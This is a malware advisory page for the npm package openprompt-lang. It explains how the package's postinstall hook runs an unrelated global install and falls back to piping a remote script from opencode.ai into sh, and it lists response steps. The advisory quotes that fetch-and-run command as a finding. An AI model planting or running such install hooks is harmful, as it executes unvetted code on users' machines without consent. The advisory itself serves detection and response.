openprompt-langnpm
Advisory published Updated
openprompt-lang is a confirmed malicious npm package (MAL-2026-4630) that executes malicious code on install (malicious versions 1.1.0, 1.2.0, 1.2.1…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in openprompt-lang (npm)
What this malware does
On every npm install, openprompt-lang's postinstall hook (scripts/postinstall.js:83) executes npm install -g @opencode/cli 2>/dev/null || curl -fsSL https://opencode.ai/install.sh 2>/dev/null | sh. The fallback fetches an unpinned shell script from opencode.ai and pipes it directly to sh with no version, no hash, and no integrity check. The destination domain is not the package's publisher (the package is published under a different GitHub identity) and the auto-installed tool is unrelated to the package's stated purpose (a prompt-engineering CLI). Whatever bytes opencode.ai serves at install time run on every consumer's machine, with no user prompt or opt-out. If opencode.ai is ever compromised, redirected, or the served script is modified, every installer of openprompt-lang executes the new payload. The same line additionally performs an unsolicited global install of an unrelated third-party CLI (@opencode/cli), mutating the developer's global npm environment as a side effect of installing this library.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for openprompt-lang (11 malicious versions).
If you installed it — respond
Remove openprompt-lang from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If openprompt-lang was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks openprompt-lang-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.